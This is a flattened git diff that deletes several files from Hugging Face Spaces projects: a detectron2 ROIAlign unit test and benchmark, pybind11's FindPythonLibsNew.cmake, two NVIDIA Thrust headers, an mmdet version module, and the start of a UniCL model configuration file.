input2x = cv2.resize(input, (W // 2, H // 2), interpolation=cv2.INTER_LINEAR) - box2x = [x / 2 for x in box] - output2x = self._simple_roialign(input2x, box2x, (5, 5), aligned=True) - diff = np.abs(output2x - output) - self.assertTrue(diff.max() < 1e-4) - - def _simple_roialign(self, img, box, resolution, aligned=True): - """ - RoiAlign with scale 1.0 and 0 sample ratio. - """ - if isinstance(resolution, int): - resolution = (resolution, resolution) - op = ROIAlign(resolution, 1.0, 0, aligned=aligned) - input = torch.from_numpy(img[None, None, :, :].astype("float32")) - - rois = [0] + list(box) - rois = torch.from_numpy(np.asarray(rois)[None, :].astype("float32")) - output = op.forward(input, rois) - if torch.cuda.is_available(): - output_cuda = op.forward(input.cuda(), rois.cuda()).cpu() - self.assertTrue(torch.allclose(output, output_cuda)) - return output[0, 0] - - def _simple_roialign_with_grad(self, img, box, resolution, device): - if isinstance(resolution, int): - resolution = (resolution, resolution) - - op = ROIAlign(resolution, 1.0, 0, aligned=True) - input = torch.from_numpy(img[None, None, :, :].astype("float32")) - - rois = [0] + list(box) - rois = torch.from_numpy(np.asarray(rois)[None, :].astype("float32")) - input = input.to(device=device) - rois = rois.to(device=device) - input.requires_grad = True - output = op.forward(input, rois) - return input, output - - def test_empty_box(self): - img = np.random.rand(5, 5) - box = [3, 4, 5, 4] - o = self._simple_roialign(img, box, 7) - self.assertTrue(o.shape == (7, 7)) - self.assertTrue((o == 0).all()) - - for dev in ["cpu"] + ["cuda"] if torch.cuda.is_available() else []: - input, output = self._simple_roialign_with_grad(img, box, 7, torch.device(dev)) - output.sum().backward() - self.assertTrue(torch.allclose(input.grad, torch.zeros_like(input))) - - def test_empty_batch(self): - input = torch.zeros(0, 3, 10, 10, dtype=torch.float32) - rois = torch.zeros(0, 5, dtype=torch.float32) - op = ROIAlign((7, 7), 1.0, 0, aligned=True) - output = op.forward(input, rois) - self.assertTrue(output.shape == (0, 3, 7, 7)) - - -def benchmark_roi_align(): - from detectron2 import _C - - def random_boxes(mean_box, stdev, N, maxsize): - ret = torch.rand(N, 4) * stdev + torch.tensor(mean_box, dtype=torch.float) - ret.clamp_(min=0, max=maxsize) - return ret - - def func(N, C, H, W, nboxes_per_img): - input = torch.rand(N, C, H, W) - boxes = [] - batch_idx = [] - for k in range(N): - b = random_boxes([80, 80, 130, 130], 24, nboxes_per_img, H) - # try smaller boxes: - # b = random_boxes([100, 100, 110, 110], 4, nboxes_per_img, H) - boxes.append(b) - batch_idx.append(torch.zeros(nboxes_per_img, 1, dtype=torch.float32) + k) - boxes = torch.cat(boxes, axis=0) - batch_idx = torch.cat(batch_idx, axis=0) - boxes = torch.cat([batch_idx, boxes], axis=1) - - input = input.cuda() - boxes = boxes.cuda() - - def bench(): - _C.roi_align_forward(input, boxes, 1.0, 7, 7, 0, True) - torch.cuda.synchronize() - - return bench - - args = [dict(N=2, C=512, H=256, W=256, nboxes_per_img=500)] - benchmark(func, "cuda_roialign", args, num_iters=20, warmup_iters=1) - - -if __name__ == "__main__": - if torch.cuda.is_available(): - benchmark_roi_align() - unittest.main() diff --git a/spaces/CVPR/LIVE/pybind11/tools/FindPythonLibsNew.cmake b/spaces/CVPR/LIVE/pybind11/tools/FindPythonLibsNew.cmake deleted file mode 100644 index c1c72c763c6cec6f2fa517f549a553d550ba49d0..0000000000000000000000000000000000000000 --- a/spaces/CVPR/LIVE/pybind11/tools/FindPythonLibsNew.cmake +++ /dev/null @@ -1,255 +0,0 @@ -# - Find python libraries -# This module finds the libraries corresponding to the Python interpreter -# FindPythonInterp provides. -# This code sets the following variables: -# -# PYTHONLIBS_FOUND - have the Python libs been found -# PYTHON_PREFIX - path to the Python installation -# PYTHON_LIBRARIES - path to the python library -# PYTHON_INCLUDE_DIRS - path to where Python.h is found -# PYTHON_MODULE_EXTENSION - lib extension, e.g. '.so' or '.pyd' -# PYTHON_MODULE_PREFIX - lib name prefix: usually an empty string -# PYTHON_SITE_PACKAGES - path to installation site-packages -# PYTHON_IS_DEBUG - whether the Python interpreter is a debug build -# -# Thanks to talljimbo for the patch adding the 'LDVERSION' config -# variable usage. - -#============================================================================= -# Copyright 2001-2009 Kitware, Inc. -# Copyright 2012 Continuum Analytics, Inc. -# -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without -# modification, are permitted provided that the following conditions -# are met: -# -# * Redistributions of source code must retain the above copyright -# notice, this list of conditions and the following disclaimer. -# -# * Redistributions in binary form must reproduce the above copyright -# notice, this list of conditions and the following disclaimer in the -# documentation and/or other materials provided with the distribution. -# -# * Neither the names of Kitware, Inc., the Insight Software Consortium, -# nor the names of their contributors may be used to endorse or promote -# products derived from this software without specific prior written -# permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -# # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -#============================================================================= - -# Checking for the extension makes sure that `LibsNew` was found and not just `Libs`. -if(PYTHONLIBS_FOUND AND PYTHON_MODULE_EXTENSION) - return() -endif() - -if(PythonLibsNew_FIND_QUIETLY) - set(_pythonlibs_quiet QUIET) -endif() - -if(PythonLibsNew_FIND_REQUIRED) - set(_pythonlibs_required REQUIRED) -endif() - -# Check to see if the `python` command is present and from a virtual -# environment, conda, or GHA activation - if it is, try to use that. - -if(NOT DEFINED PYTHON_EXECUTABLE) - if(DEFINED ENV{VIRTUAL_ENV}) - find_program( - PYTHON_EXECUTABLE python - PATHS "$ENV{VIRTUAL_ENV}" "$ENV{VIRTUAL_ENV}/bin" - NO_DEFAULT_PATH) - elseif(DEFINED ENV{CONDA_PREFIX}) - find_program( - PYTHON_EXECUTABLE python - PATHS "$ENV{CONDA_PREFIX}" "$ENV{CONDA_PREFIX}/bin" - NO_DEFAULT_PATH) - elseif(DEFINED ENV{pythonLocation}) - find_program( - PYTHON_EXECUTABLE python - PATHS "$ENV{pythonLocation}" "$ENV{pythonLocation}/bin" - NO_DEFAULT_PATH) - endif() - if(NOT PYTHON_EXECUTABLE) - unset(PYTHON_EXECUTABLE) - endif() -endif() - -# Use the Python interpreter to find the libs. -if(NOT PythonLibsNew_FIND_VERSION) - set(PythonLibsNew_FIND_VERSION "") -endif() - -find_package(PythonInterp ${PythonLibsNew_FIND_VERSION} ${_pythonlibs_required} - ${_pythonlibs_quiet}) - -if(NOT PYTHONINTERP_FOUND) - set(PYTHONLIBS_FOUND FALSE) - set(PythonLibsNew_FOUND FALSE) - return() -endif() - -# According to https://stackoverflow.com/questions/646518/python-how-to-detect-debug-interpreter -# testing whether sys has the gettotalrefcount function is a reliable, cross-platform -# way to detect a CPython debug interpreter. -# -# The library suffix is from the config var LDVERSION sometimes, otherwise -# VERSION. VERSION will typically be like "2.7" on unix, and "27" on windows. -execute_process( - COMMAND - "${PYTHON_EXECUTABLE}" "-c" "from distutils import sysconfig as s;import sys;import struct; -print('.'.join(str(v) for v in sys.version_info)); -print(sys.prefix); -print(s.get_python_inc(plat_specific=True)); -print(s.get_python_lib(plat_specific=True)); -print(s.get_config_var('SO')); -print(hasattr(sys, 'gettotalrefcount')+0); -print(struct.calcsize('@P')); -print(s.get_config_var('LDVERSION') or s.get_config_var('VERSION')); -print(s.get_config_var('LIBDIR') or ''); -print(s.get_config_var('MULTIARCH') or ''); -" - RESULT_VARIABLE _PYTHON_SUCCESS - OUTPUT_VARIABLE _PYTHON_VALUES - ERROR_VARIABLE _PYTHON_ERROR_VALUE) - -if(NOT _PYTHON_SUCCESS MATCHES 0) - if(PythonLibsNew_FIND_REQUIRED) - message(FATAL_ERROR "Python config failure:\n${_PYTHON_ERROR_VALUE}") - endif() - set(PYTHONLIBS_FOUND FALSE) - set(PythonLibsNew_FOUND FALSE) - return() -endif() - -# Convert the process output into a list -if(WIN32) - string(REGEX REPLACE "\\\\" "/" _PYTHON_VALUES ${_PYTHON_VALUES}) -endif() -string(REGEX REPLACE ";" "\\\\;" _PYTHON_VALUES ${_PYTHON_VALUES}) -string(REGEX REPLACE "\n" ";" _PYTHON_VALUES ${_PYTHON_VALUES}) -list(GET _PYTHON_VALUES 0 _PYTHON_VERSION_LIST) -list(GET _PYTHON_VALUES 1 PYTHON_PREFIX) -list(GET _PYTHON_VALUES 2 PYTHON_INCLUDE_DIR) -list(GET _PYTHON_VALUES 3 PYTHON_SITE_PACKAGES) -list(GET _PYTHON_VALUES 4 PYTHON_MODULE_EXTENSION) -list(GET _PYTHON_VALUES 5 PYTHON_IS_DEBUG) -list(GET _PYTHON_VALUES 6 PYTHON_SIZEOF_VOID_P) -list(GET _PYTHON_VALUES 7 PYTHON_LIBRARY_SUFFIX) -list(GET _PYTHON_VALUES 8 PYTHON_LIBDIR) -list(GET _PYTHON_VALUES 9 PYTHON_MULTIARCH) - -# Make sure the Python has the same pointer-size as the chosen compiler -# Skip if CMAKE_SIZEOF_VOID_P is not defined -if(CMAKE_SIZEOF_VOID_P AND (NOT "${PYTHON_SIZEOF_VOID_P}" STREQUAL "${CMAKE_SIZEOF_VOID_P}")) - if(PythonLibsNew_FIND_REQUIRED) - math(EXPR _PYTHON_BITS "${PYTHON_SIZEOF_VOID_P} * 8") - math(EXPR _CMAKE_BITS "${CMAKE_SIZEOF_VOID_P} * 8") - message(FATAL_ERROR "Python config failure: Python is ${_PYTHON_BITS}-bit, " - "chosen compiler is ${_CMAKE_BITS}-bit") - endif() - set(PYTHONLIBS_FOUND FALSE) - set(PythonLibsNew_FOUND FALSE) - return() -endif() - -# The built-in FindPython didn't always give the version numbers -string(REGEX REPLACE "\\." ";" _PYTHON_VERSION_LIST ${_PYTHON_VERSION_LIST}) -list(GET _PYTHON_VERSION_LIST 0 PYTHON_VERSION_MAJOR) -list(GET _PYTHON_VERSION_LIST 1 PYTHON_VERSION_MINOR) -list(GET _PYTHON_VERSION_LIST 2 PYTHON_VERSION_PATCH) -set(PYTHON_VERSION "${PYTHON_VERSION_MAJOR}.${PYTHON_VERSION_MINOR}.${PYTHON_VERSION_PATCH}") - -# Make sure all directory separators are '/' -string(REGEX REPLACE "\\\\" "/" PYTHON_PREFIX "${PYTHON_PREFIX}") -string(REGEX REPLACE "\\\\" "/" PYTHON_INCLUDE_DIR "${PYTHON_INCLUDE_DIR}") -string(REGEX REPLACE "\\\\" "/" PYTHON_SITE_PACKAGES "${PYTHON_SITE_PACKAGES}") - -if(CMAKE_HOST_WIN32) - set(PYTHON_LIBRARY "${PYTHON_PREFIX}/libs/python${PYTHON_LIBRARY_SUFFIX}.lib") - - # when run in a venv, PYTHON_PREFIX points to it. But the libraries remain in the - # original python installation. They may be found relative to PYTHON_INCLUDE_DIR. - if(NOT EXISTS "${PYTHON_LIBRARY}") - get_filename_component(_PYTHON_ROOT ${PYTHON_INCLUDE_DIR} DIRECTORY) - set(PYTHON_LIBRARY "${_PYTHON_ROOT}/libs/python${PYTHON_LIBRARY_SUFFIX}.lib") - endif() - - # if we are in MSYS & MINGW, and we didn't find windows python lib, look for system python lib - if(DEFINED ENV{MSYSTEM} - AND MINGW - AND NOT EXISTS "${PYTHON_LIBRARY}") - if(PYTHON_MULTIARCH) - set(_PYTHON_LIBS_SEARCH "${PYTHON_LIBDIR}/${PYTHON_MULTIARCH}" "${PYTHON_LIBDIR}") - else() - set(_PYTHON_LIBS_SEARCH "${PYTHON_LIBDIR}") - endif() - unset(PYTHON_LIBRARY) - find_library( - PYTHON_LIBRARY - NAMES "python${PYTHON_LIBRARY_SUFFIX}" - PATHS ${_PYTHON_LIBS_SEARCH} - NO_DEFAULT_PATH) - endif() - - # raise an error if the python libs are still not found. - if(NOT EXISTS "${PYTHON_LIBRARY}") - message(FATAL_ERROR "Python libraries not found") - endif() - -else() - if(PYTHON_MULTIARCH) - set(_PYTHON_LIBS_SEARCH "${PYTHON_LIBDIR}/${PYTHON_MULTIARCH}" "${PYTHON_LIBDIR}") - else() - set(_PYTHON_LIBS_SEARCH "${PYTHON_LIBDIR}") - endif() - #message(STATUS "Searching for Python libs in ${_PYTHON_LIBS_SEARCH}") - # Probably this needs to be more involved. It would be nice if the config - # information the python interpreter itself gave us were more complete. - find_library( - PYTHON_LIBRARY - NAMES "python${PYTHON_LIBRARY_SUFFIX}" - PATHS ${_PYTHON_LIBS_SEARCH} - NO_DEFAULT_PATH) - - # If all else fails, just set the name/version and let the linker figure out the path. - if(NOT PYTHON_LIBRARY) - set(PYTHON_LIBRARY python${PYTHON_LIBRARY_SUFFIX}) - endif() -endif() - -mark_as_advanced(PYTHON_LIBRARY PYTHON_INCLUDE_DIR) - -# We use PYTHON_INCLUDE_DIR, PYTHON_LIBRARY and PYTHON_DEBUG_LIBRARY for the -# cache entries because they are meant to specify the location of a single -# library. We now set the variables listed by the documentation for this -# module. -set(PYTHON_INCLUDE_DIRS "${PYTHON_INCLUDE_DIR}") -set(PYTHON_LIBRARIES "${PYTHON_LIBRARY}") -if(NOT PYTHON_DEBUG_LIBRARY) - set(PYTHON_DEBUG_LIBRARY "") -endif() -set(PYTHON_DEBUG_LIBRARIES "${PYTHON_DEBUG_LIBRARY}") - -find_package_message(PYTHON "Found PythonLibs: ${PYTHON_LIBRARY}" - "${PYTHON_EXECUTABLE}${PYTHON_VERSION_STRING}") - -set(PYTHONLIBS_FOUND TRUE) -set(PythonLibsNew_FOUND TRUE) - -if(NOT PYTHON_MODULE_PREFIX) - set(PYTHON_MODULE_PREFIX "") -endif() diff --git a/spaces/CVPR/LIVE/thrust/thrust/detail/raw_reference_cast.h b/spaces/CVPR/LIVE/thrust/thrust/detail/raw_reference_cast.h deleted file mode 100644 index a678144e2256b43baab945f54bdf82871241e0ad..0000000000000000000000000000000000000000 --- a/spaces/CVPR/LIVE/thrust/thrust/detail/raw_reference_cast.h +++ /dev/null @@ -1,398 +0,0 @@ -/* - * Copyright 2008-2013 NVIDIA Corporation - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#pragma once - -#include -#include -#include -#include -#include -#include - - -// the order of declarations and definitions in this file is totally goofy -// this header defines raw_reference_cast, which has a few overloads towards the bottom of the file -// raw_reference_cast depends on metafunctions such as is_unwrappable and raw_reference -// we need to be sure that these metafunctions are completely defined (including specializations) before they are instantiated by raw_reference_cast - -namespace thrust -{ -namespace detail -{ - - -__THRUST_DEFINE_HAS_NESTED_TYPE(is_wrapped_reference, wrapped_reference_hint) - - -// wrapped reference-like things which aren't strictly wrapped references -// (e.g. tuples of wrapped references) are considered unwrappable -template - struct is_unwrappable - : is_wrapped_reference -{}; - - -// specialize is_unwrappable -// a tuple is_unwrappable if any of its elements is_unwrappable -template< - typename T0, typename T1, typename T2, - typename T3, typename T4, typename T5, - typename T6, typename T7, typename T8, - typename T9 -> - struct is_unwrappable< - thrust::tuple - > - : or_< - is_unwrappable, - is_unwrappable, - is_unwrappable, - is_unwrappable, - is_unwrappable, - is_unwrappable, - is_unwrappable, - is_unwrappable, - is_unwrappable, - is_unwrappable - > -{}; - - -// specialize is_unwrappable -// a tuple_of_iterator_references is_unwrappable if any of its elements is_unwrappable -template< - typename T0, typename T1, typename T2, - typename T3, typename T4, typename T5, - typename T6, typename T7, typename T8, - typename T9 -> - struct is_unwrappable< - thrust::detail::tuple_of_iterator_references - > - : or_< - is_unwrappable, - is_unwrappable, - is_unwrappable, - is_unwrappable, - is_unwrappable, - is_unwrappable, - is_unwrappable, - is_unwrappable, - is_unwrappable, - is_unwrappable - > -{}; - - -template - struct enable_if_unwrappable - : enable_if< - is_unwrappable::value, - Result - > -{}; - - -namespace raw_reference_detail -{ - - -template - struct raw_reference_impl - : add_reference -{}; - - -template - struct raw_reference_impl< - T, - typename thrust::detail::enable_if< - is_wrapped_reference< - typename remove_cv::type - >::value - >::type - > -{ - typedef typename add_reference< - typename pointer_element::type - >::type type; -}; - - -} // end raw_reference_detail - - -template - struct raw_reference : - raw_reference_detail::raw_reference_impl -{}; - - -namespace raw_reference_detail -{ - -// unlike raw_reference, -// raw_reference_tuple_helper needs to return a value -// when it encounters one, rather than a reference -// upon encountering tuple, recurse -// -// we want the following behavior: -// 1. T -> T -// 2. T& -> T& -// 3. null_type -> null_type -// 4. reference -> T& -// 5. tuple_of_iterator_references -> tuple_of_iterator_references::type> - - -// wrapped references are unwrapped using raw_reference, otherwise, return T -template - struct raw_reference_tuple_helper - : eval_if< - is_unwrappable< - typename remove_cv::type - >::value, - raw_reference, - identity_ - > -{}; - - -// recurse on tuples -template < - typename T0, typename T1, typename T2, - typename T3, typename T4, typename T5, - typename T6, typename T7, typename T8, - typename T9 -> - struct raw_reference_tuple_helper< - thrust::tuple - > -{ - typedef thrust::tuple< - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type - > type; -}; - - -template < - typename T0, typename T1, typename T2, - typename T3, typename T4, typename T5, - typename T6, typename T7, typename T8, - typename T9 -> - struct raw_reference_tuple_helper< - thrust::detail::tuple_of_iterator_references - > -{ - typedef thrust::detail::tuple_of_iterator_references< - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type, - typename raw_reference_tuple_helper::type - > type; -}; - - -} // end raw_reference_detail - - -// a couple of specializations of raw_reference for tuples follow - - -// if a tuple "tuple_type" is_unwrappable, -// then the raw_reference of tuple_type is a tuple of its members' raw_references -// else the raw_reference of tuple_type is tuple_type & -template < - typename T0, typename T1, typename T2, - typename T3, typename T4, typename T5, - typename T6, typename T7, typename T8, - typename T9 -> - struct raw_reference< - thrust::tuple - > -{ - private: - typedef thrust::tuple tuple_type; - - public: - typedef typename eval_if< - is_unwrappable::value, - raw_reference_detail::raw_reference_tuple_helper, - add_reference - >::type type; -}; - - -template < - typename T0, typename T1, typename T2, - typename T3, typename T4, typename T5, - typename T6, typename T7, typename T8, - typename T9 -> - struct raw_reference< - thrust::detail::tuple_of_iterator_references - > -{ - private: - typedef detail::tuple_of_iterator_references tuple_type; - - public: - typedef typename raw_reference_detail::raw_reference_tuple_helper::type type; - - // XXX figure out why is_unwrappable seems to be broken for tuple_of_iterator_references - //typedef typename eval_if< - // is_unwrappable::value, - // raw_reference_detail::raw_reference_tuple_helper, - // add_reference - //>::type type; -}; - - -} // end detail - - -// provide declarations of raw_reference_cast's overloads for raw_reference_caster below -template -__host__ __device__ -typename detail::raw_reference::type - raw_reference_cast(T &ref); - - -template -__host__ __device__ -typename detail::raw_reference::type - raw_reference_cast(const T &ref); - - -template< - typename T0, typename T1, typename T2, - typename T3, typename T4, typename T5, - typename T6, typename T7, typename T8, - typename T9 -> -__host__ __device__ -typename detail::enable_if_unwrappable< - thrust::detail::tuple_of_iterator_references, - typename detail::raw_reference< - thrust::detail::tuple_of_iterator_references - >::type ->::type -raw_reference_cast(thrust::detail::tuple_of_iterator_references t); - - -namespace detail -{ - - -struct raw_reference_caster -{ - template - __host__ __device__ - typename detail::raw_reference::type operator()(T &ref) - { - return thrust::raw_reference_cast(ref); - } - - template - __host__ __device__ - typename detail::raw_reference::type operator()(const T &ref) - { - return thrust::raw_reference_cast(ref); - } - - template< - typename T0, typename T1, typename T2, - typename T3, typename T4, typename T5, - typename T6, typename T7, typename T8, - typename T9 - > - __host__ __device__ - typename detail::raw_reference< - thrust::detail::tuple_of_iterator_references - >::type - operator()(thrust::detail::tuple_of_iterator_references t, - typename enable_if< - is_unwrappable >::value - >::type * = 0) - { - return thrust::raw_reference_cast(t); - } -}; // end raw_reference_caster - - -} // end detail - - -template -__host__ __device__ -typename detail::raw_reference::type - raw_reference_cast(T &ref) -{ - return *thrust::raw_pointer_cast(&ref); -} // end raw_reference_cast - - -template -__host__ __device__ -typename detail::raw_reference::type - raw_reference_cast(const T &ref) -{ - return *thrust::raw_pointer_cast(&ref); -} // end raw_reference_cast - - -template< - typename T0, typename T1, typename T2, - typename T3, typename T4, typename T5, - typename T6, typename T7, typename T8, - typename T9 -> -__host__ __device__ -typename detail::enable_if_unwrappable< - thrust::detail::tuple_of_iterator_references, - typename detail::raw_reference< - thrust::detail::tuple_of_iterator_references - >::type ->::type -raw_reference_cast(thrust::detail::tuple_of_iterator_references t) -{ - thrust::detail::raw_reference_caster f; - - // note that we pass raw_reference_tuple_helper, not raw_reference as the unary metafunction - // the different way that raw_reference_tuple_helper unwraps tuples is important - return thrust::detail::tuple_host_device_transform(t, f); -} // end raw_reference_cast - - -} // end thrust - diff --git a/spaces/CVPR/LIVE/thrust/thrust/device_malloc_allocator.h b/spaces/CVPR/LIVE/thrust/thrust/device_malloc_allocator.h deleted file mode 100644 index e40c362e08dfd6111ebb0932530c4df10438249f..0000000000000000000000000000000000000000 --- a/spaces/CVPR/LIVE/thrust/thrust/device_malloc_allocator.h +++ /dev/null @@ -1,185 +0,0 @@ -/* - * Copyright 2008-2018 NVIDIA Corporation - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - - -/*! \file device_malloc_allocator.h - * \brief An allocator which allocates storage with \p device_malloc - */ - -#pragma once - -#include -#include -#include -#include -#include -#include -#include - -namespace thrust -{ - -// forward declarations to WAR circular #includes -template class device_ptr; -template device_ptr device_malloc(const std::size_t n); - -/*! \addtogroup memory_management Memory Management - * \addtogroup memory_management_classes Memory Management Classes - * \ingroup memory_management - * \{ - */ - -/*! \p device_malloc_allocator is a device memory allocator that employs the - * \p device_malloc function for allocation. - * - * \p device_malloc_allocator is deprecated in favor of thrust::mr - * memory resource-based allocators. - * - * \see device_malloc - * \see device_ptr - * \see device_allocator - * \see http://www.sgi.com/tech/stl/Allocators.html - */ -template - class device_malloc_allocator -{ - public: - /*! Type of element allocated, \c T. */ - typedef T value_type; - - /*! Pointer to allocation, \c device_ptr. */ - typedef device_ptr pointer; - - /*! \c const pointer to allocation, \c device_ptr. */ - typedef device_ptr const_pointer; - - /*! Reference to allocated element, \c device_reference. */ - typedef device_reference reference; - - /*! \c const reference to allocated element, \c device_reference. */ - typedef device_reference const_reference; - - /*! Type of allocation size, \c std::size_t. */ - typedef std::size_t size_type; - - /*! Type of allocation difference, \c pointer::difference_type. */ - typedef typename pointer::difference_type difference_type; - - /*! The \p rebind metafunction provides the type of a \p device_malloc_allocator - * instantiated with another type. - * - * \tparam U The other type to use for instantiation. - */ - template - struct rebind - { - /*! The typedef \p other gives the type of the rebound \p device_malloc_allocator. - */ - typedef device_malloc_allocator other; - }; // end rebind - - /*! No-argument constructor has no effect. */ - __host__ __device__ - inline device_malloc_allocator() {} - - /*! No-argument destructor has no effect. */ - __host__ __device__ - inline ~device_malloc_allocator() {} - - /*! Copy constructor has no effect. */ - __host__ __device__ - inline device_malloc_allocator(device_malloc_allocator const&) {} - - /*! Constructor from other \p device_malloc_allocator has no effect. */ - template - __host__ __device__ - inline device_malloc_allocator(device_malloc_allocator const&) {} - -#if THRUST_CPP_DIALECT >= 2011 - device_malloc_allocator & operator=(const device_malloc_allocator &) = default; -#endif - - /*! Returns the address of an allocated object. - * \return &r. - */ - __host__ __device__ - inline pointer address(reference r) { return &r; } - - /*! Returns the address an allocated object. - * \return &r. - */ - __host__ __device__ - inline const_pointer address(const_reference r) { return &r; } - - /*! Allocates storage for \p cnt objects. - * \param cnt The number of objects to allocate. - * \return A \p pointer to uninitialized storage for \p cnt objects. - * \note Memory allocated by this function must be deallocated with \p deallocate. - */ - __host__ - inline pointer allocate(size_type cnt, - const_pointer = const_pointer(static_cast(0))) - { - if(cnt > this->max_size()) - { - throw std::bad_alloc(); - } // end if - - return pointer(device_malloc(cnt)); - } // end allocate() - - /*! Deallocates storage for objects allocated with \p allocate. - * \param p A \p pointer to the storage to deallocate. - * \param cnt The size of the previous allocation. - * \note Memory deallocated by this function must previously have been - * allocated with \p allocate. - */ - __host__ - inline void deallocate(pointer p, size_type cnt) - { - // silence unused parameter warning while still leaving the parameter name for Doxygen - (void)(cnt); - - device_free(p); - } // end deallocate() - - /*! Returns the largest value \c n for which allocate(n) might succeed. - * \return The largest value \c n for which allocate(n) might succeed. - */ - inline size_type max_size() const - { - return (std::numeric_limits::max)() / sizeof(T); - } // end max_size() - - /*! Compares against another \p device_malloc_allocator for equality. - * \return \c true - */ - __host__ __device__ - inline bool operator==(device_malloc_allocator const&) const { return true; } - - /*! Compares against another \p device_malloc_allocator for inequality. - * \return \c false - */ - __host__ __device__ - inline bool operator!=(device_malloc_allocator const &a) const {return !operator==(a); } -}; // end device_malloc_allocator - -/*! \} - */ - -} // end thrust - - diff --git a/spaces/CVPR/WALT/mmdet/version.py b/spaces/CVPR/WALT/mmdet/version.py deleted file mode 100644 index a3b741aed16212ad1dee277d519b259ae3184b19..0000000000000000000000000000000000000000 --- a/spaces/CVPR/WALT/mmdet/version.py +++ /dev/null @@ -1,19 +0,0 @@ -# Copyright (c) Open-MMLab. All rights reserved. - -__version__ = '2.11.0' -short_version = __version__ - - -def parse_version_info(version_str): - version_info = [] - for x in version_str.split('.'): - if x.isdigit(): - version_info.append(int(x)) - elif x.find('rc') != -1: - patch_version = x.split('rc') - version_info.append(int(patch_version[0])) - version_info.append(f'rc{patch_version[1]}') - return tuple(version_info) - - -version_info = parse_version_info(__version__) diff --git a/spaces/CVPR/unicl-zero-shot-img-recog/config.py b/spaces/CVPR/unicl-zero-shot-img-recog/config.py deleted file mode 100644 index f17536ee6d5e9b2f87af6435d2dc6a38d5aa16d9..0000000000000000000000000000000000000000 --- a/spaces/CVPR/unicl-zero-shot-img-recog/config.py +++ /dev/null @@ -1,245 +0,0 @@ -# -------------------------------------------------------- -# Unified Contrastive Learning (UniCL) -# Copyright (c) 2022 Microsoft -# Licensed under The MIT License [see LICENSE for details] -# Written by Jianwei Yang (jianwyan@microsoft.com) -# Based on Swin Transformer written by Zhe Liu -# -------------------------------------------------------- - -import os -import yaml -from yacs.config import CfgNode as CN - -_C = CN() -_C.VERBOSE = False - -# Base config files -_C.BASE = [''] - -# ----------------------------------------------------------------------------- -# Data settings -# ----------------------------------------------------------------------------- -_C.DATA = CN() -# Batch size for a single GPU, could be overwritten by command line argument -_C.DATA.BATCH_SIZE = 128 -# Path to dataset, could be overwritten by command line argument -_C.DATA.DATA_PATH = '' -# Dataset name -_C.DATA.DATASET = 'imagenet' -# Input image size -_C.DATA.IMG_SIZE = 224 -# Interpolation to resize image (random, bilinear, bicubic) -_C.DATA.INTERPOLATION = 'bicubic' -# Use zipped dataset instead of folder dataset -# could be overwritten by command line argument -_C.DATA.ZIP_MODE = False -# Cache Data in Memory, could be overwritten by command line argument -_C.DATA.CACHE_MODE = 'part' -# Pin CPU memory in DataLoader for more efficient (sometimes) transfer to GPU. -_C.DATA.PIN_MEMORY = True -# Number of data loading threads -_C.DATA.NUM_WORKERS = 8 - -# ----------------------------------------------------------------------------- -# Model settings -# ----------------------------------------------------------------------------- -_C.MODEL = CN() -# Model name -_C.MODEL.NAME = '' -# Checkpoint to resume, could be overwritten by command line argument -_C.MODEL.RESUME = '' -# Number of classes, overwritten in data preparation -_C.MODEL.NUM_CLASSES = 0 -# Label Smoothing -_C.MODEL.LABEL_SMOOTHING = 0.1 -# Whether load pretrained model -_C.MODEL.PRETRAINED = '' -# Projection dimension -_C.MODEL.DIM_PROJECTION = 512 -# Mode specific -_C.MODEL.SPEC = CN(new_allowed=True) -# ----------------------------------------------------------------------------- -# Build Image Encoder -# ----------------------------------------------------------------------------- -_C.MODEL.IMAGE_ENCODER = CN() -# Image encoder type -_C.MODEL.IMAGE_ENCODER.TYPE = 'swin' -# Input image size -_C.MODEL.IMAGE_ENCODER.IMG_SIZE = 224 -# Dropout rate -_C.MODEL.IMAGE_ENCODER.DROP_RATE = 0.0 -# Drop path rate -_C.MODEL.IMAGE_ENCODER.DROP_PATH_RATE = 0.1 - -# Swin Transformer parameters -_C.MODEL.IMAGE_ENCODER.SWIN = CN() 